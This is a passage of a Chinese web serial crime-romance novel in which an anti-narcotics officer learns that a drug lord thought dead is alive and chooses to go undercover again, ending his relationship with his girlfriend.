男人说后面周大兴的生意越做越大,又在城里看到电视和报纸上都有关于他婆娘的寻亲启事,就雇他去弄死那两口子。 “雇我是因为我儿子要钱手术,他知道我老实,不会背叛他。”男人说到这里,还是有些愧疚地埋下头。他靠编织竹篮过生活,一双手上布满了老茧,紧紧握了握拳。他的房子虽然很是简陋,吹飞的瓦片都只能用塑料袋替代,但床上的被子叠得非常方正,是十年的监狱生活带来的习惯。 沈宗野继续问:“周大兴老家在哪里?” 男人犹豫了下还是说了,他最开始出狱时也是害怕周大兴的,怕周大兴雇人把他灭口,但当时周大兴早已经搬家消失了,他才敢生活到现在。 天已经快要黑了,沈宗野他们的询问也过去了三个小时。 最后,沈宗野说:“认识这个人吗?” 男人古怪地看了眼:“你们不知道这是周大兴他老娘啊?” 照片上的老太太和复原的AI照片都是陈沥周的奶奶。 也就是说,他们的推断都是合理的,陈沥周就是董自新的儿子。 “认识这两个人吗?” 沈宗野又拿出董自新泰国那名手下査帕的照片,还有陈沥周的照片。 男人对陈沥周的照片没有印象,但对査帕不陌生。 “见过两回,帮周大兴干事的。” 沈宗野:“他老家哪里的?” “泰国吧?” “他为什么会杀周大兴的老婆?” 男人一时惊恐地愣住:“不可能,他哪里敢杀周大兴的婆娘?他很听周大兴的话啊。” …… 离开男人家里,沈宗野和同事去了董自新的老家。 他们也不敢冒然进去,找了本地民警打听到那座寨子的信息,由民警带着他们过去。 寨子很排外,对陌生的车辆都会留意,好在民警只说即将过年了,是来宣传森林防火知识,不要上山烧纸时留下火堆。 沈宗野他们坐在车上,找到了周大兴的家,民警去帮他们打听消息,但寨子里的人口风非常严密,没有人一个人透露。 民警回到车上说:“这里好多人家都买过女人和孩子,他们口风紧得很,我们也没有证据调查。” 这里应该是拿不到线索了,沈宗野当即回了南城。 这半个多月忙这些事,沈宗野和梁然好久都没有再见过。 …… 梁然是在下班时看到了沈宗野。 他穿着一件黑色夹克,怀里抱着束粉色玫瑰,眼底有些奔波的风霜,但见到她笑意浓烈,勾起了薄唇。 梁然下了楼梯,直接扑进沈宗野怀里。 “你回来了,怎么不跟我说一声!” “想给你个惊喜。” 沈宗野嗓音低沉:“然然,你想我吗?” “你说呢?” “我要听你说。”沈宗野按住梁然的腰,薄唇就要落下。 “哟哟哟,当我不存在是吧。”乔思嘉靠着楼上的栏杆啧啧笑。 办公室里员工都走得差不多,只有梁然和乔思嘉的两名助理还在,大家都在笑梁然。 梁然才没管她们,勾住沈宗野后颈,吻上他薄唇。 她一手抱花,一手挽着沈宗野,对乔思嘉笑:“拜拜!” 梁然如此明媚。 她越来越灵动,浑身的元气。 梁然从前是很爱去餐厅吃饭的,但现在越来越喜欢和沈宗野黏在一起,和他窝在沙发上好像比城市的热闹更抚慰人心。 他们吃过晚饭,窝在沙发上撸猫听着音乐,城市的喧嚣隔绝在这场宁静之外。 梁然问起案子的情况。 沈宗野说:“基本上已经查明陈沥周的父亲就是董自新。” 梁然怔了片刻,对这个结果还是有了心理准备,她说:“你觉得他还会是一个好人吗?” “说不好。”沈宗野说,“从李建安和郑贵来看,陈沥周跟轻松二号脱不了关系,现在南城又出现在这种新型毒品,必须查清楚。休息两天,我们会去查董自新泰国那名手下。” “你要去泰国?”梁然愣住。 沈宗野沉吟了下:“我去更好,但是局里考虑到安全因素,可能不会让我上。” 梁然这才松口气:“我不希望你去,董自新的人都被抓了,只有你还好好的,那些人肯定首先会怀疑你。” “越来越懂这些了。”沈宗野抿了抿笑。 …… 隔天,沈宗野刚到局里就听到同事在南城一个酒吧里买到轻松二号。 这个毒品现在叫天使糖,购买人群依旧还是年轻青年。暗访的警察是在吸食人员手里分到的,还是找不出卖家。 又隔两天,在一间出租屋里死了一名吸食天使糖过量的男性,吸毒的死状极其惊悚。听其朋友交代,此人很早就在吸食海。洛因,戒毒所进出了两回,如今原本是想用天使糖来戒毒,他们那个圈子里都说天使糖可以帮助戒除毒瘾,危害很小的,谁知道这么坑人。 局里马上召开了会议,决定顺着陈沥周这条线索对天使糖展开彻查,成立专案。 陈沥周为重点嫌疑对象。 王有为根据沈宗野之前在泰国留下的人脉,决定挑选一名警员先去接近査帕。 会议室里几个顶灯照得透亮。 老孙和郑云深,还有几个同事都举了手。 郑云深和老孙争起来:“你年纪这么大了,能有我像卧底?你看起来就是个严肃的老警察。” 王有为也属意郑云深,把担子交付给他,让沈宗野好好和郑云深说说査帕的脾气。 沈宗野留在会议室里详细地把査帕此人分析完,郑云深认真记着。 最后,沈宗野说:“査帕手段狠毒,如今董自新已经没了,不知道他是自己独大了,还是在替陈沥周做事。你注意保证自己的安全,如果方便也找机会摸一摸董自新老婆的死因。” “我知道了。” “还有什么要问的地方?” “都清楚了。” 沈宗野拍了拍郑云深肩膀,将犯罪板上査帕的分析导图擦掉。 郑云深忽然说:“沈哥,有件事想跟你说声对不起。” 沈宗野掀起眼皮。 郑云深:“之前说你袒护嫂子,卧底期间和嫂子关系不清不楚……是我传到王局耳朵里的。” 沈宗野认真看着郑云深。 “对不起。那天晓琴哭得很难过,我才……”郑云深移开目光,不敢看沈宗野坦然的视线。 沈宗野说:“事情过去了,你去卧底要没有任何心理负担,如果有负担你要及时说出来。” “我没有,我心态很稳,放心吧。”郑云深笑,“你不生气就好,那事我挺后悔的。现在我要去证明自己,我也可以是能保护人民的英雄。” “你本来就是。”沈宗野笑。 郑云深深深地望着沈宗野。 沈宗野去了王局办公室汇报进度,出来时,看到郑云深和钱晓晴在篮球场并排坐着,郑云深拥抱了钱晓晴,钱晓晴没拒绝。 沈宗野望着这一幕笑了下。 …… 几天后,郑云深顺利进入了査帕身边,成为査帕一个兄弟手下的一名跑腿。 郑云深的进度比卧底在那一批雇佣兵身边的警员要顺利,又过几天,郑云深顺利在他们的饭局上听到天使糖果然是从他们那里出来的。 王有为召开了会议,打算再打入一名同事去卧底。 沈宗野其实很想去,但知道即便站出来也不会经过选票同意。谢天明也积极冒头,果然被王有为拒绝了。 王有为跟卧底警员对线的专用手机忽然响起,铃声又高又尖,他走出会议室接听。 片刻,他重新回到会议室时,王有为整个人像被雷电击中。 中年男人一身严正挺括的警服似乎也支撑不住他的身体,他双眸死一般沉,众人都一时面如死灰,瞬间想到了卧底同事们的安危。 直到王有为犀利的视线落到沈宗野身上,沉沉地开口:“董自新,没死。” 第110章 第110章卧底 沈宗野紧眯眼眸,比王有为还要震惊。 消息是郑云深递来的,他今天跟随査帕他们见到的人竟然是董自新,董自新断了一只手臂,除此之外完好无损。査帕对董自新毕恭毕敬,看来天使糖背后的毒枭还是董自新。 而沈宗野参与抓捕那次是亲眼目睹董自新的汽车爆炸,事后12小时内警方在整座山里也没有搜寻到一丝逃亡的踪迹。 这个大毒贩没有死,所有人都在震惊和愤怒,个个视线凝重。 郑云深在电话里说他会尽快摸清董自新的位置,董自新明天还会去査帕的一个场子,他明天想办法跟去,再给王有为回电话。 跨境办案要走的程序太繁琐,更何况是跨境抓捕。 整个局里的气压都低到了冰点。 沈宗野主动去王有为办公室承认错误。 谢天明也跟来认错。 王有为心情沉重,连开玩笑和训诫的语气都说不出来了,好半晌才开口:“跟你们有什么关系,要检讨也是司法鉴定部门的问题。” 现在看来,当时从烧焦的纤维软骨中提取到的极微量的DNA组织只是董自新的一只手臂。 可当时现场七零八落的尸体与残肢几乎都烧毁了,能做检验的组织有限,根本怪不到司法鉴定部门身上。 沈宗野说:“让我去吧。” 谢天明也说要一起。 王有为失笑:“你俩疯了我还没疯吧,怎么,你俩想把警服穿在身上去?让董自新看你俩一身漂漂亮亮的警服,再挂个二等功的勋章?” 沈宗野和谢天明躲过了抓捕,很明显会让董自新怀疑他们是警方的人。 王有为让他们俩好好冷静下来,现在当务之急是应该把董自新这个毒枭再开会分析一遍,让同事们都有个了解。 沈宗野扑在了案子上,连续两天告诉梁然他得加班。 等他回到家时,梁然笑着来抱他。 那股清冷的兰香寂雪扑面而来,沈宗野沉溺在梁然熟悉的味道里,将头埋在她肩膀上。 梁然微怔,弯起唇,轻拍沈宗野的后背。 “好辛苦哦,这几天没有休息好吧?” “嗯。” 葡萄围到他们身边,发出开心的咕噜咕噜响。 梁然说:“吃饭了吗?我带你出去吃饭吧,给你补充元气。” 沈宗野只是低笑了下,紧紧抱着梁然。 梁然抚摸着沈宗野头发,吻了吻他侧脸,陪他安静地拥抱了很久。 关于董自新没死的消息,沈宗野还是决定不告诉梁然,不希望她为他担心。 但郑云深说好了会回电,电话却一直没有再打回来,让局里不免有些提心吊胆。 梁然不知道这些消息,新年的气氛逐渐逼近,她和乔思嘉在为客户准备新年礼物,自然也收到很多回礼。拆客户送的礼物像拆盲盒,偶尔还是能拆出两个合心意的。 沈宗野晚上回到家,梁然问他:“你过年会去哪里?” “我应该得值班吧。” “不和你妈妈还有奶奶过年吗?” “我妈那里我去不了,奶奶那里应该会抽时间去一趟。” 梁然弯起红唇:“给你一个邀请我的机会。” 沈宗野怔住。 梁然笑着看他,沈宗野懂了她的眼神,也勾起薄唇笑了。 “然然,谢谢你。” “奶奶她喜欢什么?这半个月我好好准备礼物。” “你能去她就高兴,不用带什么礼物。”沈宗野转着梁然手腕上的镯子,“她看到你戴着这个就会很开心。” 梁然有些明白了这个手镯的意义,她笑了笑,开始在手机上挑选起给老人准备的礼物。 沈宗野坐到梁然身旁,梁然把选好的礼物给沈宗野看:“按摩仪可以吗,奶奶会不会不喜欢?” “可以,她房间有个阳台,正好可以放下。” “那我再选一选别的。”梁然忽然想起,“对了,我们的新家是不是应该也去贴一贴春联?” “嗯,到时候我们去贴,局里会发,再贴两个福字。”沈宗野忽然顿住,“你刚刚说‘我们的新家’?” “是啊。” 沈宗野笑了起来。 梁然也很开心,新年要到了,这是她和沈宗野过的第一个年,等开春后他们的房子也要装修好了。对梁然而言,那个房子就是他们的家。 她忽然很珍惜和沈宗野的这段关系,她好像越来越期待有他在的生活了。 周六的晚上,梁然受邀去参加陆朝公司的年会,她不想一个人去,叫了沈宗野和她一起。 沈宗野问:“我去合适吗?” “有什么不合适,我希望你去。” 梁然拿出给沈宗野准备衣服,是一套中式西装,白色衬衫也是中式立领一字扣,绣着修挺的银竹。 只要不影响梁然的工作,沈宗野倒乐意陪梁然,他换了衣服。 梁然望着灯下的青年,沈宗野穿中式外套很像在宁城的时候,周身神秘莫测的深邃,诗意英隽,又像个游走在黑色线上的暴徒。 他的身上有一种既黑既白的气质。 梁然穿着一条车厘子红的中式吊带裙,披着极薄的披肩,挽着沈宗野的手臂去参加了陆朝公司的年会。 陆朝对她还没放弃,甚至今晚也特意给她和乔思嘉颁了奖,亲手把奖杯给梁然,和她握手,在主持人的提问下并肩讲话。 沈宗野坐在台下,拨着手上一颗颗沉香珠子,那颗有了裂痕的冰蓝翡翠起着珠宝寒光。梁然之前说要给他买颗新的换进去,沈宗野不想要,他就喜欢这一颗,这是属于他们的记忆。 坐在一旁的江凛睨了他一眼:“今天没捏烟了,改捏珠子了?” “卧槽,你还真给捏裂了!”江凛盯着那颗有裂痕的翡翠,“要不要这么变态,人家是在工作!” 沈宗野淡淡睨了眼江凛,懒得和他扯。 梁然和乔思嘉从台上回到坐席,带着沈宗野跟江凛吃了晚饭就准备离开。 陆朝却走向梁然,看了眼沈宗野,和他们打招呼说欢迎,然后对梁然说:“还有内场的舞会,我想邀请你参加。” 梁然笑着说:“舞会我就不参加了,我和我男朋友的房子刚装修好,趁今晚还早过去检查一下。今年陆总创造了集团的奇迹,真为你感到高兴。” 陆朝张了张唇。 沈宗野抿起薄唇,替梁然将耳边一缕卷发捋到耳后,神态自然。 陆朝终究没有再说什么。 走出大门,迎面而来的冷气袭来。 起风了,沈宗野将外套脱下,披到梁然身上:“冷吗?” “有点冷。”梁然抿起唇,“你今晚还蛮大方的嘛。” “他大方?”江凛说,“给你看证据,他都把一颗珠子捏爆了,我给你看!这男的这么偏执变态,你可得小心着点。”江凛撸起沈宗野衬衫袖子,转着沈宗野手腕上那颗有裂痕的翡翠。 乔思嘉也凑近看:“啧啧,我该夸你手劲大还是醋大?” 梁然望着沈宗野,两个人都只笑不语。 等泊车员将车开到了门口,他们各自上了车分别后,梁然坐在副驾驶,忍不住捧腹笑了起来。 沈宗野也忍俊不禁看着她,他单手打着方向盘,另一只手扣住梁然五指。 梁然说:“如果不解释他俩是不是能一直误会下去?” 沈宗野只是笑。 梁然拨着沈宗野手腕上的沉香。 她喜欢沈宗野修长均净的指骨形状,他的无名指在不上班时也都会戴着他们的情侣戒指,手背上鼓动着充满力量感的青筋线条,她很喜欢这双手。 “我应该再给你买几串沉香的,等过几天我们去买吧。” “好。”沈宗野说,“你想要什么新年礼物?” “你买的我应该都会喜欢。” 沈宗野一笑,他的手机忽然响起铃声,是他卧底时的那张卡的来电。 沈宗野看了眼,是大鱼。 他把大鱼留到宁城没有抓捕,是特意撒的饵,希望能钓到一些有用的线索,也让大鱼帮他打听徐川的下落。这半年来大鱼联络过沈宗野几次了,除了节日问候就是找他要点生活费。 沈宗野没接这个电话,知道是大鱼临近过年了,找他要一点生活费。 他等将梁然送到家,才在露台回拨过去。 那头,大鱼很快就接起了电话:“宗哥,你终于回我电话了!” “什么事?” “徐叔找我们了,徐叔找我了!不、不、徐叔是找你!”大鱼很激动,“徐叔原来还活着,我们还能跟徐叔干买卖!” 暗夜漆黑深重,有千钧都压在沈宗野心头。 徐川竟找到了大鱼。 大鱼把手机给了徐川。 听筒里传来中年男人熟悉的声音,带着欣喜久违的笑:“小沈,别来无恙啊。” “徐叔,你还在。”沈宗野的嗓音只有喜不自胜的激动:“太好了!你不知道我现在过得有多操蛋,徐叔,你在哪儿?我还想跟你干。” 沈宗野的声音无比的喜悦,可是他的眼神极寒。 他望着城市的暗夜,心脏也沉到了冰底。他已经转身快速拉好了玻璃拉门,不让梁然知道。 “呵呵,我也过得不太顺心,但好在现在风声过了,日子总算有了点盼头。”徐川说,“你来找我吧。” 这个通话在冷风里结束,夜晚高空卷过的晚风扑在沈宗野身上,连骨头里都发寒。 对他来说,徐川主动找他就代表是董自新主动找他。 董自新被捕前就决心要他死了,现在怎么会主动抛出橄榄枝,要他再加入。 沈宗野知道这意味着什么。 沈宗野重新拨给大鱼,询问大鱼是怎么找到徐川的。他之前叮嘱过如果有徐川的消息不要声张,要暗中告诉他。 大鱼说是徐川主动在圈子里递出消息,有心找以前的旧部。见到大鱼后,徐川还格外好心,给他发了过年的生活费,如今很需要人手,徐川很是真诚。 听大鱼说来,他应该是暴露了踪迹而不自知,被徐川的人盯上了才套到了沈宗野还活着的消息。 沈宗野没有骂大鱼蠢,挂了电话。 他知道董自新和徐川的手段,他们如果想找他,有的是办法逼他现身。 暗夜云团乌沉,夜风有些凌厉,有风雨欲来的趋势。 沈宗野在夜色里立了很久才回到客厅。 梁然刚洗完澡,吹干了头发出来。 沈宗野朝她浮起笑,梁然也抿了抿红唇,将头埋到他胸膛。 “今天那会儿还蛮想跳舞的。” “那现在想跳吗?” “不了吧,我喜欢穿着漂亮的裙子跳舞,刚刚洗澡了。你身上怎么这么冷?”梁然摸到沈宗野衬衫领口,又摸着他脸颊和手,“好冷啊,你快去洗个热水澡。” “刚刚在阳台上打电话,有个案子要跑局里一趟。” “是陈沥周的案子吗?” “不是。” 梁然眼里有些失落,但还是点了点头:“那你穿厚一点吧。” 她回衣帽间拿出沈宗野的大衣外套。 沈宗野亲了亲梁然额头:“我去了,你别开门,注意安全。” 梁然好笑:“知道了。” 沈宗野走向大门,他忽然回头,穿过客厅紧紧抱住梁然:“最近坏人很多,今天开始不认识的人敲门都不能开门,管家来送快递也要让他们放到门口,人走了你再拿,知道吗?” 梁然说:“你是担心陈沥周的案子会牵连到我?” “嗯。” “我知道了,你去吧,开车注意安全。” 沈宗野深深看着梁然,走出大门。 他开车去往局里,一路上锋利的眼眸都在留意四周有没有尾巴。 王有为也得知消息连夜赶回局里,之前专案组的同事全部叫回来值班,召开会议。 沈宗野是希望去把董自新、徐川重新抓捕归案,但他知道这一次会比上一次更加危险。 王有为和同事们都不赞成他去卧底。 沈宗野这一去极有可能被当做缉毒警察,被毒贩报复。 会议开到清晨六点,制定出新的计划,由一名同事卧底到大鱼身边,试着接近徐川。沈宗野这边想办法通过电话套取徐川的线索。 沈宗野回到梁然家里,周日的早晨梁然还在睡觉。 他没有睡意,换下衣服就去厨房做早餐。做完早餐后梁然还没有起床,沈宗野就站到露台抽了支烟。 梁然终于醒来了,从身后抱住他。 她身上穿着软薄的睡衣,还没有醒彻底,慵懒地闭着眼睛,睫毛不时颤动。 沈宗野说:“外面冷,回房间吧。” 、 “你几点回来的,早饭都做好了。” “刚回来。” “你困吗?”梁然睁开懒洋洋的眼,凝望沈宗野,“你好像有点心事重重的样子,是不是案子不太顺利?” “嗯,郑云深去卧底了,目前失联了五天。” 梁然一怔,虽然只是和沈宗野的同事见过一面,但她还是会和沈宗野一样担心。 沈宗野:“吃早饭吧,等会儿我们去把新家的春联贴了。” “还早呢,现在去贴别人不笑话。”梁然说,“今天去逛街吧,我想买衣服。” “好。” “下午再去,吃完饭你就去补觉。” 沈宗野抿起薄唇。 他睡到了下午两点。 梁然在书房里办公,她是个对工作很认真的人,即便没有项目也会用假期时间把灵感绘成图像。 沈宗野出现在门口,梁然这才关了电脑。 他们去商场买了很多东西,梁然原本是因为预订的一件大衣到了,过来取,沈宗野却挑了很多好看的外套、裙子和鞋,要销售都给她打包起来。 梁然挑起眉:“怎么,你发年终奖了?” 沈宗野只是淡笑:“我喜欢看你穿新衣服。” 买完服装,梁然有去了一家高级珠宝店,给沈宗野定制沉香珠串。 她照旧按她的审美挑了翡翠与金配在沉香珠串里头,这次她抢在沈宗野之前结了账。 梁然将新的沉香珠串戴在沈宗野手上,笑着说很好看。 沈宗野迎着梁然的笑,弯了弯薄唇。 他并不知道这样看着梁然微笑的日子还有多久。 去到大鱼身边的同事已经与大鱼联络上了,但连大鱼都不知道徐川目前在哪。 徐川每天给沈宗野拨来一通电话,号码都是境外属地,每个号也都不同,都只问沈宗野到哪里了,能不能平安出来。 沈宗野一直说的是他住的周围有警察,外头还有他的通缉令,不敢冒然现身,他在找合适的时间。 徐川问他地址:“我派人来接你。” 沈宗野犹豫了下,假装小心翼翼:“徐叔,你不是警方的卧底吧?你真的别搞我啊,我只是想好好跟着你赚钱。” 可沈宗野明白,这样迂回根本不是办法。 再有四天就要过春节了,整座城市沉浸在热闹的喜气里,局里也提前发了春联和春节礼品。 沈宗野坐在王有为的办公室,眼眸深邃,语气也低冷郑重。 “让我去吧,没人比我更适合。” 王有为沉默了很久。 卧底在雇佣兵中的同事没有任何进展。 在泰国的郑云深也一直处在失联状态。 大鱼身边那名同事也起不到作用。 毒贩阴险狡诈,藏匿在他们寻不到的黑处。 除了沈宗野,没有人更适合这个案子。 可这一去太危险,董自新城府极深,怎么可能让沈宗野好好地过去。 沈宗野没再说话,只是眸光毅然。 肩章上的四角星花,警服上的警徽都是他的立场。 王有为好久后才说:“你妈妈要生了吧?” “嗯,还有一个月。” “你和梁然怎么样了,还在一起?” 沈宗野开起玩笑:“对我这么不看好,我们当然在一起。” “那你这趟去了,还能和她在一起吗?” 沈宗野沉默了半晌:“我会跟她解释。” “哼,不是我不看好她,你要是去了她马上就能跟你分手,你信不信?” 办公室里寂静得没有任何声音,桌上的五星红旗摆台倒映在光亮的地板上。 沈宗野下意识转动无名指,但是手指上是空的,他工作时没有机会戴戒指,戒指在他的宿舍里。 他说:“我想要的已经拥有过了,她也给我了,她不欠我。” 王有为盯着沈宗野那根残疾的拇指,沉默许久,眼眶湿润。 终于,他埋头拿起一摞卷宗说:“你要好好地回来,该低头时别逞强。” 沈宗野勾起薄唇笑了。 …… 今天是工作日,梁然却在中午接到沈宗野的电话 他说他从局里领了春联,想叫她去他们的新家,过几天他有案子,只能今天和她一起过去贴好。 临近春节,梁然自然是想沈宗野好好留下过个年,她有些失落,还是安排好工作开车去了明汇路上的新房子。 房子太大,还没有完全装修好,但滑滑梯已经安装好了,她到时沈宗野正在试滑梯,从二楼直接滑了下来。 梁然很少见沈宗野笑得这么愉悦,她上前将他拉起来:“走,我也要玩。” 他们跑上二楼,梁然整理着大衣坐下:“干净吗?” “我已经给你滑干净了。” 梁然往前窜,从蜿蜒的滑梯上放任身体往下冲,她笑出了声。 他们在落地窗前贴了福字,又在主卧里贴了窗花,过节的气氛一下子拉满了。 大门的对联是他们两个人贴的,高处的横联梁然够不到又想贴,沈宗野就抱着她让她亲手贴上。 从这里离开回到梁然的小区,冬季的街道卷起冰冷的风,沈宗野将车停在路边。 “起风了,我去给你买一杯雪梨水,你等等我。” “嗯。” 梁然低头在手机上处理工作。 沈宗野走进顾欣的店。 店里的员工比之前少了两名,顾欣一个人在忙碌。 沈宗野说:“麻烦你帮梁然的卡上再充值五万。” 顾欣停下手上的工作,有些意外地问:“怎么充值这么多?” 沈宗野微抿薄唇:“她喜欢喝你家的糖水。” 顾欣只是笑了笑:“她的卡里还有六千的余额,已经够了。我要不开店了。” 沈宗野怔住。 “店可能再开一段时间就不开了,你们不用再充值了,说不定我还要退你们余额呢。”顾欣笑着解释。 沈宗野说:“为什么,你遇到什么难处了吗?” 顾欣睫毛微垂,敲着键盘浮起笑:“没有,生活的原因,我可能会离开这里。” 沈宗野沉默了瞬间:“你有梁然的微信吗?” “有啊。” “如果以后你还在这座城市,能不能在起风的时候帮她做一杯雪梨无花果糖水,你叫跑腿就好,我可以给你支付双倍的费用。”沈宗野说,“行吗?” 顾欣看着沈宗野好半天,点了点头。 沈宗野拎着糖水,刚走出店门就接到了江凛的电话。 江凛语气汹汹:“你有没有接到你们局里的案情通报?” “什么案情通报?” “一个男明星,顶流,演了很多正面电视剧电影那个,那谁……”江凛回忆着名字,很有几分愤怒地说起,“他们这群人自己不吸毒,玩了一群女的看她们吸,逼死了一个女生,才20岁!” 江凛说那个男明星有这口爱好,经常组局看人吸毒,心理扭曲,昨晚不服一个女生不陪溜,硬是逼迫人家吃了很多天使糖,女生当场死亡。 江凛愤怒的是那个男星被神秘人物保了,微博爆出来,网络都已经瘫痪,但热搜到这会儿已经撤得干干净净。 沈宗野听着,又是天使糖。 这个电话讲完,他回到车上。 梁然还在处理工作群里的信息,看到沈宗野回来,抬头在他脸颊亲了一下,又低头打着字。 沈宗野将糖水的吸管插上,喂到梁然唇边。 梁然埋头喝着,终于处理好了工作,她把手机搁下,将吸管也递到了沈宗野嘴边。 沈宗野抿了一口。 梁然微笑:“今天忙完了吧,我们回家。” 回到家里,沈宗野做了梁然爱吃的菜。 傍晚,他们窝在沙发上看电影,葡萄在客厅里窜。 梁然靠在沈宗野肩膀上问起:“案子是哪天啊?” 沈宗野刚才只是在电话里告诉她过几天有案子,梁然还没问他是哪天。 沈宗野回她:“明天。” 梁然手指一顿,按停了播放的电影。 “那哪天回来,除夕之前能回来吧?还有三天就是除夕了。” “可能回不来。”沈宗野沉默了很久。 直到梁然意识到不对,抬起眼看他。 沈宗说:“梁然,我可能要走一段时间吧。徐川联系我了,徐川是董自新的心腹,董自新没有死,在泰国继续做毒品生意。” “我要重新去卧底。” 梁然脸上的笑凝固,眼底的光刹那熄灭。【你现在阅读的是魔蝎小说 moxiexs】 110-120 第111章 第111章为什么给不起我未来,…… “你不能去!” 梁然脱口而出,“你不是说当时那个案子所有人都被捕了吗,你也是因为在最后关头挨了董自新的子弹,他已经在怀疑你了,这次你不能去!” 沈宗野抿起笑,抬手来摸梁然的头发,手腕却被梁然紧紧抓住。 “听到了吗,沈宗野,你不可以去。” “我得过去。” “我不准你去!”梁然生气了,她的语气很少这样严厉。 她紧张地看着沈宗野,呼吸都变得急促。 沈宗野抚摸她的头发,眼眸黯然,却装作镇定地浮起笑:“然然,你在担心我。” “你爱上我了吗?”沈宗野问。 梁然冷静地说:“我说我爱上你了你就会不去是吗?” 沈宗野沉默了,移开了视线。 他依旧还是淡定地笑:“我去了不会那么危险,我有办法让董自新再次信任我。你别担……” “沈宗野,我说了你不能去。”梁然拿开沈宗野的手,从沙发上站起身,她的眼眶已经湿润,无比冷静和严肃地看着他,“为了我,别去好不好?” 沈宗野无法直视梁然这份眼神。 他明明是最不想让梁然难过的人,却还是在这一刻让她这样难受。 热意汇成眼泪从梁然的眼眶滚落到她脸颊。 沈宗野拉过梁然的手,将她紧紧抱在怀里。 “对不起,他们做了新型毒品,叫天使糖,已经渗入了南城和其他省份,市面上太流行,必须阻断……梁然,对不起,我保证我一定会回来。” “你拿什么保证?” 梁然挣脱沈宗野的怀抱,她的声音陡然提高,“在上一次的抓捕里董自新已经怀疑你了,就算上一次他没怀疑过你,现在你去了他就会疑心你,所有人都被捕了,为什么只有你还好好的?你没想过这个问题吗!” “我知道,我真的会保护我自己,我很有经验,然然,我每次卧底都很成功……” 沈宗野说着这些解释,可他的解释多么苍白,他知道连他自己都不信这些。 这一次可比以前危险多了。 梁然看着他,她终于不再尖锐地和他争执,不再严重地劝他。 她望着他好久,眼眶湿红,她说:“为了我,你不可以去。” “你要去,我们就分手吧。” 沈宗野眸光幽深。 梁然冷冷地站在他身前。 葡萄好像察觉出主人都不开心,喵喵叫着跑过来,冲他们俩昂起圆滚滚的脑袋,竖起的尾巴扫啊扫。 时间静止在这一刻。 窗外起风了,风穿过这座繁华的城市,满眼的华灯璀璨,根本看不到城市的阴暗面。 沈宗野说:“我也不想你等我。” 他惭愧地笑了笑:“和你在一起我挺快乐,但是我确实给不了你像陆朝能给你的生活。我知道是我辜负你了,你不用等我。” “梁然,离开我你会过得更好。” 他说完这些话,沉默地垂下头。 梁然的目光像湖面碎裂的冰,蔓延出的潮涌都是她的眼泪。 她没有经历过这么疼痛的时候,心脏深处窜起的疼好像让她连呼吸都不那么顺畅。她握紧了手,指甲嵌进肉里,疼。 “我再给你最后一次机会,沈宗野。” “我不逼你换工作换岗,我只求你这次让别人去负责这个案子,可以吗?” 沈宗野用沉默回答她。 梁然多年的冷静彻底被他打破,她几乎歇斯底里:“你是去送死吗?为什么那么危险还要去闯,你考虑过我的感受么!” “沈宗野,你让我看到我在这个春天就能拥有一个新的家了,但是你又把我的新家彻底摧毁。” “为什么给不起我未来,还要这样招惹我?” 梁然泪如雨下。 一开始他们说的是什么?是让感情维系在浅薄的喜欢上。 但是现在她好像陷进去了,她可以为了让他上班近去明汇路上买一套新房子,她可以把他带到她重要的大客户面前,婉拒更多的利益资源。她可以为了他停下工作,去给他的奶奶挑选新年礼物,给他妈妈肚子里的宝宝买婴儿用品,去想他的奶奶见到她会不会喜欢她。 她处处都在考虑他,只是她自己都没有意识到。 此刻,她意识到这一切时却是他以这么残忍的方式。 董自新是一个狠毒的大毒贩,他怎么可能再轻易相信沈宗野的托词。 为什么沈宗野明知这么危险,明知可能错过她还要去? 缉毒到底有多重要? 如果他从一开始就把缉毒的责任排在她前面,那他为什么还要对她这么好? 他对她冷淡一些就够了,他不要给她每天做可爱的早餐,做好吃的晚饭,他不要给她买戒指,不要给她准备生日那场漂亮的烟花,不要在她忆起噩梦时温柔地亲吻她的手腕……他冷淡一点,像在宁城那样,不要对她太好,不要让她沉溺在这段关系里。 “沈淮宗,我恨你。” 沈宗野抬起头。 梁然背过身:“你走吧。” “我们之间就到这里吧。” “对不起……” 沈宗野嗓音低哑,极轻的脚步声响在身后,他应该是想来抱她。 可梁然头也不回走进了卧室,关上了房门。 她从来没有这样生气过,也从来没有这样难过过。她将耳朵贴在门上,她紧紧望着门下的猫门洞,希望看到沈宗野想明白来挽留她,告诉她他不去了。 她紧紧地将耳朵贴在门上,直到极轻的脚步声响起,猫门里也透过一丝影子。 沈宗野真的来到了房门外,梁然蓦地笑了,手慌张地落在门把手上。 等他一说完他不去了,她就会马上开门去抱他的。 可是沈宗野说的只是:“梁然,近期上下班留意点身边的动静,有什么觉得不对的直接报警,我在桌上留了一瓶防狼喷雾,你放在包里吧。” 梁然眼里的光黯下去,握着门把的手也在颤抖。 “如果陈沥周再联络你,他说的话一定不要轻信,要第一时间报警。如果你觉得一个人住不安全,让小谢来给你当保镖吧。” 房门外沉默很久。 沈宗野说:“梁然,我走了。” “抱歉,不能给你你想要的生活。对不起。” “祝你……以后都幸福。” “还有,然然,你别难过,我不希望你难过。” 他离开了她的房子,客厅响起关门的声音,葡萄从门洞里钻进来,冲梁然喵喵叫。 眼泪无声滴落到地毯上,梁然弯起脊背,抱住葡萄,埋在小猫漂亮的裙子里,寂静的房间只有她哽咽的哭声。 她以前并不知道什么是爱情,她觉得自己不是一个正常的女孩子,拥有不了正常女生的喜怒哀乐,拥有不了她们可以为爱情落下的眼泪。 但是现在她很疼,她脑海里会反复回忆起沈宗野带给她的喜怒哀乐。 她不要失去,她厌恶失去。 她已经失去了沈茹和梁幸均,到现在她也失去了沈宗野。 葡萄伸着小粉舌头舔走她的眼泪,喵喵叫着,像是在哄她别难过。 客厅的手机响起了铃声,梁然不想起身,不想挪动,她抱着葡萄,汲取小猫身上唯一的温度。可是不知道是谁打来的电话,铃声又响了一遍。 梁然终于慢吞吞地抬起头,打开房门走去客厅。 拿起手机时,屏幕映照起她脏兮兮的脸,妆面全都花了。 她冷静地擦掉眼泪,漠然地走到露台,任风吹进她的眼睛。 电话是她的理财经理打来的,提前问候她过年好,又说去年那笔理财今天的收益入账了,她新一年有什么想法,是否满意他们的工作。 梁然淡淡地讲完电话,打开银行软件,将沈宗野支付的那笔装修费转到了他的账户里。 很快,沈宗野就发来了微信。 沈宗野:「我不要」 「对不起,我想把房子留给你」 梁然很快收到了沈宗野转过来的钱。 她眼神空寂,周身的气场冷淡,漠然地重新把钱退了回去。这张卡操作受限,她就用换一张卡,直到沈宗野也限额了,没有办法再给他转过来。 他发来微信。 「不要这样,然然,你不要这样好不好」 「对不起,我不想让你不快乐」 「如果我能回来,我一定早点赶回来,如果」 